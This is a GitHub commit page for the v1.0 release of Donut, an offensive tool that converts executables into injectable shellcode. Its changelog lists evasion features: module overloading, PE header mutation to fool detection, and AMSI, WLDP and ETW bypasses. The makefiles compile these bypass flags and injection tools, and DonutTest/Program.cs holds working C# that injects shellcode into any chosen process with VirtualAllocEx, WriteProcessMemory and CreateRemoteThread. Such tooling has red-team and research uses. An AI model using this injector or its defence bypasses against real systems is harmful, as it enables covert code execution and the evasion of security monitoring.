Skip to content

Commit d61f83a

Browse files
authored
Merge pull request #121 from TheWover/dev
v1.0 - Cruller
2 parents dafea17 + d47aabe commit d61f83a

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

45 files changed

+6729
-7475
lines changed

CHANGELOG.md

+26-1
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,32 @@
11
# Changelog
22
All notable changes to this project will be documented in this file.
33

4-
## [0.9.3]
4+
## [v1.0]
5+
6+
### Added
7+
8+
* Added module overloading for native PE payloads. Hides them in MEM_IMAGE memory backed by a decoy file on disk
9+
* If donut is set to mutate native PE headers, then for module overloads it will overwrite the payload's PE headers with those of the decoy file to fool some detections of module overloading
10+
* Added an option to block indefinitely after running the payload
11+
* Added Dockerfile to create a docker image for generating donut shellcode
12+
* Added support for binaries without relocation information or with certain edge cases for relocation information
13+
* Added custom GetProcAddress and LoadLibrary replacement functions that will only call those Win32 API calls as fallbacks
14+
* Better documentation for debugging, designing with, and integrating Donut.
15+
* Added moduler bypass system for ETW
16+
* Added option for preserving or overwriting PE headers of native payloads
17+
* Added an inject_local.exe that runs shellcode in the current process for testing purposes
18+
* C# output generator
19+
* Python output generator
20+
* UUID string output generator
21+
22+
### Changed
23+
24+
* The -y switch now uses the value provided as an offset from the base address of the process's executable module. So, for example, if you have injected donut into an infected, legitimate PE file, then once donut completes it will create a thread at the provided offset of that legitimate PE, allowing it to resume its legitimate execution and do what it was supposed to do in the first place.
25+
* Fixed some issues with the MingW makefile (#96)
26+
* Fixed and improved all makefiles
27+
* Fixed the Python module
28+
29+
## [v0.9.3]
530

631
### Added
732

DemoCreateProcess/Class1.cs

+2
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,8 @@ public class TestClass
44
{
55
public static void RunProcess(string path, string path2)
66
{
7+
System.Console.WriteLine("[STDOUT] Running {0} and {1}...", path, path2);
8+
System.Console.Error.WriteLine("[STDERR] Running {0} and {1}...", path, path2);
79
Process.Start(path);
810
Process.Start(path2);
911
}

DemoCreateProcess/Readme.md

+27-3
Original file line numberDiff line numberDiff line change
@@ -5,11 +5,35 @@ A simple C# program to use as a demo for testing shellcode. It takes two program
55
64-bit:
66

77
```
8-
.\donut.exe .\DemoCreateProcess\bin\Release\DemoCreateProcess.dll -c TestClass -m RunProcess -p "notepad.exe calc.exe"
8+
.\donut.exe -i .\DemoCreateProcess\bin\Release\DemoCreateProcess.dll -c TestClass -m RunProcess -p "notepad.exe calc.exe"
99
```
1010

1111
32-bit:
1212

1313
```
14-
.\donut.exe -a 1 .\DemoCreateProcess\bin\Release\DemoCreateProcess.dll -c TestClass -m RunProcess -p "notepad.exe calc.exe"
15-
```
14+
.\donut.exe -i -a 1 .\DemoCreateProcess\bin\Release\DemoCreateProcess.dll -c TestClass -m RunProcess -p "notepad.exe calc.exe"
15+
```
16+
17+
# Building on Linux
18+
19+
This project can be built on Linux using Mono and xbuild. First, follow the official [instructions](https://www.mono-project.com/download/stable/#download-lin) for install Mono. Then, install `mono-xbuild`.
20+
21+
To build the project, simply `cd` to its root directory and run:
22+
23+
```
24+
xbuild
25+
```
26+
27+
To build in Release mode, run:
28+
29+
```
30+
xbuild /p:Configuration=Release
31+
```
32+
33+
If receiving errors about missing dependencies, try specifying the targeted .NET version:
34+
35+
```
36+
xbuild /p:TargetFrameworkVersion="v4.5"
37+
```
38+
39+
Once the project has been successfully built, the output DLL may be used as input to the Donut shellcode generator.

Dockerfile

+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
FROM ubuntu:22.04
2+
3+
RUN apt-get update
4+
RUN apt-get install --no-install-recommends --no-install-suggests -y \
5+
mingw-w64 zip build-essential perl python xml2 pkg-config automake \
6+
libtool autotools-dev make g++ git ruby wget libssl-dev
7+
8+
WORKDIR /opt
9+
RUN git clone https://github.com/TheWover/donut.git
10+
WORKDIR /opt/donut
11+
RUN make -f Makefile
12+
13+
WORKDIR /workdir
14+
RUN chmod ugo+wrx /workdir
15+
RUN ls /opt/donut
16+
ENTRYPOINT ["/opt/donut/donut"]

DonutTest/Program.cs

+52-9
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
1-
/* Author: TheWover
2-
Description: Injects embedded base64-encoded shellcode into an arbitrary hardcoded process using native Windows 32 API calls.
3-
Last Modified: 11/1/2018
1+
/* Author: TheWover
2+
Description: Injects shellcode into an arbitrary hardcoded process using native Windows 32 API calls.
3+
Last Modified: 03/28/2020
44
*/
55
using System;
66
using System.Diagnostics;
@@ -18,9 +18,23 @@ public class Program
1818
static void Main(string[] args)
1919
{
2020
if (args.Length >= 1)
21+
{
2122
pid = Convert.ToInt32(args[0]);
2223

23-
Inject(x86, x64, pid);
24+
//If a raw shellcode file was provided as a second argument
25+
if (args.Length == 2)
26+
{
27+
Console.WriteLine("[+] Reading shellcode from {0}.", args[1]);
28+
29+
Inject(System.IO.File.ReadAllBytes(args[1]), pid);
30+
}
31+
else
32+
{
33+
Console.WriteLine("[+] Using embedded shellcode.");
34+
35+
Inject(x86, x64, pid);
36+
}
37+
}
2438
}
2539

2640
[DllImport("kernel32.dll")]
@@ -55,6 +69,20 @@ static extern IntPtr CreateRemoteThread(IntPtr hProcess,
5569
const uint PAGE_READWRITE = 4;
5670
const uint PAGE_EXECUTE_READWRITE = 0x40;
5771

72+
73+
/// <summary>
74+
/// An entry point callable from Donut or other Reflection-based loaders.
75+
/// </summary>
76+
/// <param name="procPID">The PID of the target process, as a string</param>
77+
public static void Run(string procPID)
78+
{
79+
int pid = Convert.ToInt32(procPID);
80+
81+
Console.WriteLine("[+] Using embedded shellcode.");
82+
83+
Inject(x86, x64, pid);
84+
}
85+
5886
/// <summary>
5987
/// Injects shellcode into the target process using CreateRemoteThread, using the correct version for the process's architecture.
6088
/// </summary>
@@ -69,24 +97,39 @@ public static int Inject(string x86, string x64, int procPID)
6997
Console.WriteLine(targetProcess.Id);
7098

7199
string s;
72-
100+
73101
if (IsWow64Process(targetProcess) == true)
74102
s = x86;
75103
else
76104
s = x64;
77105

78106
byte[] shellcode = Convert.FromBase64String(s);
79107

80-
IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);
108+
if (Inject(shellcode, procPID) != IntPtr.Zero)
109+
Console.WriteLine("[!] Successfully injected into {0} ({1})!", targetProcess.ProcessName, procPID);
110+
else
111+
Console.WriteLine("[!] Failed to inject!");
112+
113+
return 0;
114+
}
115+
116+
/// <summary>
117+
/// Injects raw shellcode into the target process using CreateRemoteThread.
118+
/// </summary>
119+
/// <param name="shellcode">The shellcode to inject.</param>
120+
/// <param name="procPID">The PID of the target process.</param>
121+
/// <returns></returns>
122+
public static IntPtr Inject(byte[] shellcode, int procPID)
123+
{
124+
IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, procPID);
81125

82126
IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
83127

84128
UIntPtr bytesWritten;
85129
WriteProcessMemory(procHandle, allocMemAddress, shellcode, (uint)shellcode.Length, out bytesWritten);
86130

87-
CreateRemoteThread(procHandle, IntPtr.Zero, 0, allocMemAddress, IntPtr.Zero, 0, IntPtr.Zero);
131+
return CreateRemoteThread(procHandle, IntPtr.Zero, 0, allocMemAddress, IntPtr.Zero, 0, IntPtr.Zero);
88132

89-
return 0;
90133
}
91134

92135
[System.Runtime.InteropServices.DllImport("kernel32.dll")]
@@ -103,4 +146,4 @@ public static bool IsWow64Process(Process process)
103146
return retVal;
104147
}
105148
}
106-
}
149+
}

DonutTest/Readme.md

+25-1
Original file line numberDiff line numberDiff line change
@@ -15,4 +15,28 @@ Usage:
1515
DonutTest.exe [PID]
1616
1717
If no PID is specified, then DonutTest will inject the shellcode into itself.
18-
```
18+
```
19+
20+
# Building on Linux
21+
22+
This project can be built on Linux using Mono and xbuild. First, follow the official [instructions](https://www.mono-project.com/download/stable/#download-lin) for install Mono. Then, install `mono-xbuild`.
23+
24+
To build the project, simply `cd` to its root directory and run:
25+
26+
```
27+
xbuild
28+
```
29+
30+
To build in Release mode, run:
31+
32+
```
33+
xbuild /p:Configuration=Release
34+
```
35+
36+
If receiving errors about missing dependencies, try specifying the targeted .NET version:
37+
38+
```
39+
xbuild /p:TargetFrameworkVersion="v4.5"
40+
```
41+
42+
Once the project has been successfully built, the output DLL may be used as input to the Donut shellcode generator.

Makefile

+8-1
Original file line numberDiff line numberDiff line change
@@ -5,9 +5,16 @@ donut: clean
55
gcc -Wall -shared -o lib/libdonut.so donut.o hash.o encrypt.o format.o clib.o lib/aplib64.a
66
debug: clean
77
gcc -Wunused-function -ggdb -Wall -Wno-format -fpack-struct=8 -DDEBUG -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader/clib.c lib/aplib64.a -odonut
8+
9+
gcc -Wall -Wno-format -fpack-struct=8 -DTEST -I include loader/inject.c -oinject
10+
gcc -Wall -Wno-format -fpack-struct=8 -DTEST -I include loader/inject_local.c -oinject_local
811
hash:
912
gcc -Wall -Wno-format -fpack-struct=8 -DTEST -I include hash.c loader/clib.c -ohash
1013
encrypt:
1114
gcc -Wall -Wno-format -fpack-struct=8 -DTEST -I include encrypt.c loader/clib.c -oencrypt
15+
inject:
16+
gcc -Wall -Wno-format -fpack-struct=8 -DTEST -I include loader/inject.c -oinject
17+
inject_local:
18+
gcc -Wall -Wno-format -fpack-struct=8 -DTEST -I include loader/inject_local.c -oinject_local
1219
clean:
13-
rm -f loader.exe exe2h.exe exe2h loader32.exe loader64.exe donut.o hash.o encrypt.o format.o clib.o hash encrypt donut hash.exe encrypt.exe donut.exe lib/libdonut.a lib/libdonut.so
20+
rm -f loader.exe exe2h.exe exe2h loader32.exe loader64.exe donut.o hash.o encrypt.o format.o clib.o hash encrypt donut hash.exe encrypt.exe donut.exe lib/libdonut.a lib/libdonut.so inject32.exe inject64.exe inject_local32.exe inject_local64.exe

Makefile.mingw

+10-5
Original file line numberDiff line numberDiff line change
@@ -6,17 +6,22 @@ donut: clean
66
gcc -I include loader/exe2h/exe2h.c -oexe2h
77
$(CC64) -I include loader/exe2h/exe2h.c loader/exe2h/mmap-windows.c -lshlwapi -oexe2h.exe
88

9-
$(CC32) -DBYPASS_AMSI_A -DBYPASS_WLDP_A -fno-toplevel-reorder -fpack-struct=8 -fPIC -O0 -nostdlib loader/loader.c loader/depack.c loader/clib.c hash.c encrypt.c -I include -oloader.exe
9+
$(CC32) -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -fno-toplevel-reorder -fpack-struct=8 -fPIC -O0 -nostdlib loader/loader.c loader/depack.c loader/clib.c hash.c encrypt.c -I include -oloader.exe
1010
./exe2h loader.exe
1111

12-
$(CC64) -DBYPASS_AMSI_A -DBYPASS_WLDP_A -fno-toplevel-reorder -fpack-struct=8 -fPIC -O0 -nostdlib loader/loader.c loader/depack.c loader/clib.c hash.c encrypt.c -I include -oloader.exe
12+
$(CC64) -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -fno-toplevel-reorder -fpack-struct=8 -fPIC -O0 -nostdlib loader/loader.c loader/depack.c loader/clib.c hash.c encrypt.c -I include -oloader.exe
1313
./exe2h loader.exe
1414

1515
$(CC64) -Wall -fpack-struct=8 -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader/clib.c lib/aplib64.lib -odonut.exe
1616
debug: clean
1717
$(info ###### DEBUG ######)
18-
$(CC32) -DCLIB -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Wno-format -fpack-struct=8 -DDEBUG -I include loader/loader.c hash.c encrypt.c loader/depack.c loader/clib.c -oloader32.exe -lole32 -lshlwapi
19-
$(CC64) -DCLIB -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Wno-format -fpack-struct=8 -DDEBUG -I include loader/loader.c hash.c encrypt.c loader/depack.c loader/clib.c -oloader64.exe -lole32 -lshlwapi
18+
$(CC32) -DCLIB -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Wno-format -fpack-struct=8 -DDEBUG -I include loader/loader.c hash.c encrypt.c loader/depack.c loader/clib.c -oloader32.exe -lole32 -lshlwapi
19+
$(CC64) -DCLIB -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Wno-format -fpack-struct=8 -DDEBUG -I include loader/loader.c hash.c encrypt.c loader/depack.c loader/clib.c -oloader64.exe -lole32 -lshlwapi
2020
$(CC64) -Wall -Wno-format -fpack-struct=8 -DDEBUG -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader/clib.c lib/aplib64.lib -odonut.exe
21+
$(CC32) -Wall loader/inject.c -oinject32.exe
22+
$(CC64) -Wall loader/inject.c -oinject64.exe
23+
$(CC32) -Wall loader/inject_local.c -oinject_local32.exe
24+
$(CC64) -Wall loader/inject_local.c -oinject_local64.exe
2125
clean:
22-
rm -f exe2h exe2h.exe loader.bin instance donut.o hash.o encrypt.o format.o clib.o hash encrypt donut hash.exe encrypt.exe donut.exe lib/libdonut.a lib/libdonut.so loader.exe loader32.exe loader64.exe
26+
rm -f exe2h exe2h.exe loader.bin instance donut.o hash.o encrypt.o format.o clib.o hash encrypt donut hash.exe encrypt.exe donut.exe lib/libdonut.a lib/libdonut.so loader.exe loader32.exe loader64.exe inject32.exe inject64.exe inject_local32.exe inject_local64.exe
27+

Makefile.msvc

+17-6
Original file line numberDiff line numberDiff line change
@@ -3,29 +3,40 @@ donut: clean
33
cl /nologo loader\exe2h\exe2h.c loader\exe2h\mmap-windows.c
44

55
@echo ###### Building loader ######
6-
cl -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c
6+
cl -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c
77
link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj clib.obj
88
exe2h loader.exe
99

1010
@echo ###### Building generator ######
11-
rc include/donut.rc
12-
cl -Zp8 -nologo -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib include/donut.res
11+
rc include\donut.rc
12+
cl -Zp8 -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib include\donut.res
1313
cl -Zp8 -nologo -DDLL -LD -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib
1414
move donut.lib lib\donut.lib
1515
move donut.exp lib\donut.exp
1616
move donut.dll lib\donut.dll
17+
18+
@echo ###### Building injection testing tools ######
19+
cl -Zp8 -nologo -DTEST -I include loader\inject.c
20+
cl -Zp8 -nologo -DTEST -I include loader\inject_local.c
1721
debug: clean
18-
cl /nologo -DDEBUG -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -EHa -GS- -I include loader/loader.c hash.c encrypt.c loader/depack.c loader/clib.c
19-
link -nologo -order:@loader\order.txt -subsystem:console loader.obj hash.obj encrypt.obj depack.obj clib.obj
22+
cl /nologo -DDEBUG -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Zp8 -c -nologo -Gy -Os -EHa -GS- -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c
23+
link -nologo -order:@loader\order.txt -subsystem:console loader.obj hash.obj encrypt.obj depack.obj clib.obj
2024

2125
cl -Zp8 -nologo -DDEBUG -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib
2226
cl -Zp8 -nologo -DDEBUG -DDLL -LD -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib
2327
move donut.lib lib\donut.lib
2428
move donut.exp lib\donut.exp
2529
move donut.dll lib\donut.dll
30+
31+
cl -Zp8 -nologo -DTEST -I include loader\inject.c
32+
cl -Zp8 -nologo -DTEST -I include loader\inject_local.c
2633
hash:
2734
cl -Zp8 -nologo -DTEST -I include hash.c loader\clib.c
2835
encrypt:
2936
cl -Zp8 -nologo -DTEST -I include encrypt.c
37+
inject:
38+
cl -Zp8 -nologo -DTEST -I include loader\inject.c
39+
inject_local:
40+
cl -Zp8 -nologo -DTEST -I include loader\inject_local.c
3041
clean:
31-
@del /Q mmap-windows.obj donut.obj hash.obj encrypt.obj depack.obj format.obj clib.obj hash.exe encrypt.exe donut.exe lib\libdonut.lib lib\libdonut.dll
42+
@del /Q mmap-windows.obj donut.obj hash.obj encrypt.obj inject.obj inject_local.obj depack.obj format.obj clib.obj exe2h.exe loader.exe hash.exe encrypt.exe inject.exe inject_local.exe donut.exe lib\donut.lib lib\donut.exp lib\donut.dll include\donut.res

Makefile_x86.msvc

+42
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
donut: clean
2+
@echo ###### Building exe2h ######
3+
cl /nologo loader\exe2h\exe2h.c loader\exe2h\mmap-windows.c
4+
5+
@echo ###### Building loader ######
6+
cl -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c
7+
link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj clib.obj
8+
exe2h loader.exe
9+
10+
@echo ###### Building generator ######
11+
rc include\donut.rc
12+
cl -Zp8 -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib32.lib include\donut.res
13+
cl -Zp8 -nologo -DDLL -LD -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib32.lib
14+
move donut.lib lib\donut.lib
15+
move donut.exp lib\donut.exp
16+
move donut.dll lib\donut.dll
17+
18+
@echo ###### Building injection testing tools ######
19+
cl -Zp8 -nologo -DTEST -I include loader\inject.c
20+
cl -Zp8 -nologo -DTEST -I include loader\inject_local.c
21+
debug: clean
22+
cl /nologo -DDEBUG -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Zp8 -c -nologo -Gy -Os -EHa -GS- -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c
23+
link -nologo -order:@loader\order.txt -subsystem:console loader.obj hash.obj encrypt.obj depack.obj clib.obj
24+
25+
cl -Zp8 -nologo -DDEBUG -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib32.lib
26+
cl -Zp8 -nologo -DDEBUG -DDLL -LD -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib32.lib
27+
move donut.lib lib\donut.lib
28+
move donut.exp lib\donut.exp
29+
move donut.dll lib\donut.dll
30+
31+
cl -Zp8 -nologo -DTEST -I include loader\inject.c
32+
cl -Zp8 -nologo -DTEST -I include loader\inject_local.c
33+
hash:
34+
cl -Zp8 -nologo -DTEST -I include hash.c loader\clib.c
35+
encrypt:
36+
cl -Zp8 -nologo -DTEST -I include encrypt.c
37+
inject:
38+
cl -Zp8 -nologo -DTEST -I include loader\inject.c
39+
inject_local:
40+
cl -Zp8 -nologo -DTEST -I include loader\inject_local.c
41+
clean:
42+
@del /Q mmap-windows.obj donut.obj hash.obj encrypt.obj inject.obj inject_local.obj depack.obj format.obj clib.obj exe2h.exe loader.exe hash.exe encrypt.exe inject.exe inject_local.exe donut.exe lib\donut.lib lib\donut.exp lib\donut.dll include\donut.res

0 commit comments

Comments
 (0)